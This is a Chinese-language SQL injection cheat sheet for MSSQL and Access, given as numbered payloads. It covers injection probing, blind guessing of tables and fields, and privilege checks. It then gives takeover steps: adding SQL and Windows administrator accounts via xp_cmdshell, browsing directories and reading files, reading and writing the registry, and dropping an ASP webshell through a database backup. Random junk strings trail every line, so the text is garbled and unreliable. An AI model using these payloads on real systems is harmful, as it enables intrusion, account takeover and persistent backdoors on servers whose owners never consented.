1.判断是否有注入;and 1=1 ;and 1=2 uNoP8U%*
2.初步判断是否是mssql ;and user>0 SAUfA5|e
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3.注入参数是字符'and [查询条件] and ''=' )u67=0s2i+
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' mQiVTIP3[O
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5.判断数据库系统 CA8N
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;and (select count(*) from sysobjects)>0 mssql 6U!zc]>
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;and (select count(*) from msysobjects)>0 access = 3("gScUj
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 yG~7Xo5
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 <JkmJ/X
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 8Vf]K}d
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9.(1)猜字段的ascii值(access) [e.@Yx_}
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 FsTl@zN
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(2)猜字段的ascii值(mssql) \7elqX`.yY
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 h^aUVuL/
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10.测试权限结构(mssql) YVT\@+C'
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- PZB_6!}2[F
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- E3`&W8
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- )(`HEl>-9c
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- J*}Qnl +
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- R.rxpJ+kU
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 3g''j7
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;and 1=(select IS_MEMBER('db_owner'));-- _`LQnRp(
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11.添加mssql和系统的帐户 }_GI%+t
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;exec master.dbo.sp_addlogin username;-- s?-J`k~q
;exec master.dbo.sp_password null,username,password;-- 25m6/Y
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- W2-1oS~ma
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;exec master.dbo.xp_cmdshell 'net user username password Vub($
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- b8$(j2B~
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- o n+:{ad
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- E>2~cC*
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12.(1)遍历目录 jcVK4jW
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;create table dirs(paths varchar(100), id int) yL.Z{wd
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;insert dirs exec master.dbo.xp_dirtree 'c:\' aW.[3M;?v
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;and (select top 1 paths from dirs)>0 ImZ!8#
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) _Vl22'wl
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(2)遍历目录 }_[Bp
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- CUG3C
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 0ghW};[6
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 cQOc^W
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ehe;<A
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 y^xEZD1X6-
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13.mssql中的存储过程 ,Q>RtV
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xp_regenumvalues 注册表根键, 子键 [8OQ5}do/
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 6^vseVx
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xp_regread 根键,子键,键值名 5:W5@e{
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;exec xp_regread /CW
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 dd&n>A3O=
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xp_regwrite 根键,子键, 值名, 值类型, 值 qS.TVNZ
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Q^c)T>OAI
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xp_regdeletevalue 根键,子键,值名 R_|Sg
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 riuG,$EX
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 `$hna{e^n
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14.mssql的backup创建webshell y8k*{1MuO
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use model ,|u^-J@
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create table cmd(str image); xQ{n|)i>
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insert into cmd(str) values (''); 45+w)Vf!
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backup database model to disk='c:\l.asp'; dH8^\s .F
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15.mssql内置函数 RD1N@sHDKc
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;and (select @@version)>0 获得Windows的版本号 qC;1ND
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa q[rBu9
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;and (select user_name())>0 爆当前系统的连接用户 14LOeo5O
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;and (select db_name())>0 得到当前连接的数据库 .PHz
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16.简洁的webshell .NOh[68'
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use model b{WEux{)
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create table cmd(str image); ]`S35b
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insert into cmd(str) values (''); 9"%ot=)
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backup database model to disk='g:\wwwtest\l.asp';